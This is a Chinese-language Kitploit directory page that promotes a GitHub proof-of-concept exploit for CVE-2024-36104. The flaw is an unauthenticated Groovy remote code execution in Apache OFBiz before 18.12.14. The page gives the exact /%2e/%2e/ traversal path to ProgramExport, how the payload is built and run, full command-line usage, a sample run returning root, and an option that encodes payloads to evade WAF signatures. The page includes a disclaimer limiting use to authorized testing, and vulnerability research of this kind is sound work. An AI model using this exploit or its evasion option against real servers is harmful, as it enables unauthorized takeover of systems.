Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/groppoxx/cve-2024-36104-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队
GitHubgroppoxx/cve-2024-36104-poc

CVE-2024-36104-PoC

CVE-2024-36104 的 PoC — 通过 /%2e/%2e/ 视图路径遍历至 ProgramExport,在 Apache OFBiz(<18.12.14)中实现未认证的 Groovy RCE

查看仓库
331个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-36104-PoC

针对 CVE-2024-36104 的概念验证,这是 Apache OFBiz 18.12.14 之前版本中存在的一个未授权远程代码执行漏洞。

OFBiz 的 ControlServlet 在规范化请求路径之前先解析一个未授权视图(forgotPassword)。附加 /%2e/%2e/ 后,路径会折叠回 /webtools/control/,因此请求无需经过与原视图关联的安全/权限检查即可到达 ProgramExport 视图。随后 ProgramExport 会执行任意 Groovy 代码,从而实现未授权远程命令执行。

该脚本将命令封装在 Groovy 代码片段中,通过 /usr/bin/bash -lc 执行该命令,将其发送到易受攻击的端点,并从 OFBiz 在 HTML 响应中抛回的 java.lang.Exception 中提取命令输出。

功能说明

  1. 验证并规范化目标 URL。
  2. 构建从 forgotPassword 到 ProgramExport 的 /%2e/%2e/ 遍历路径。
  3. 将命令封装在通过 Bash 执行的 Groovy 载荷中。
  4. 以 groovyProgram 形式将载荷发送到易受攻击的端点。
  5. 解析 HTML 响应并提取命令输出。
  6. 在解析失败或服务器出错时回退到原始响应。

依赖要求

root@kitploit:~
Python 3.8+

pip install -r requirements.txt

所需的 Python 包:

root@kitploit:~
requests
urllib3

快速开始

尖括号中的值是占位符。请用你自己的值替换它们,且不要包含 < 或 > 字符。

root@kitploit:~
python3 cve_2024_36104.py \
  --target <TARGET_URL> \
  --command <COMMAND>

占位符

root@kitploit:~
<TARGET_URL>  # Target base URL. Example: https://10.129.231.23
<COMMAND>     # Command that Bash will interpret. Example: id

完整示例

root@kitploit:~
python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"

示例输出:

root@kitploit:~
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)

可选参数

root@kitploit:~
-H, --host-header <HOST>
   Value of the Host header. Default: localhost

--prefix-view <VIEW>
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view <VIEW>
   View reached after the traversal. Default: ProgramExport

--endpoint <PATH>
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout <SECONDS>
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.

注意事项

  • 影响 18.12.14 之前的 Apache OFBiz 版本。
  • 无需身份验证或用户交互。
  • 如果服务器返回 502,则后端很可能在代理超时前未完成处理;命令仍可能在服务端执行完成。
  • 当自动提取失败时,使用 --show-response 检查原始 HTML。

法律声明

此 PoC 仅用于授权安全测试、实验室环境和漏洞验证。 未经明确许可,请勿将其用于任何系统。

下载工具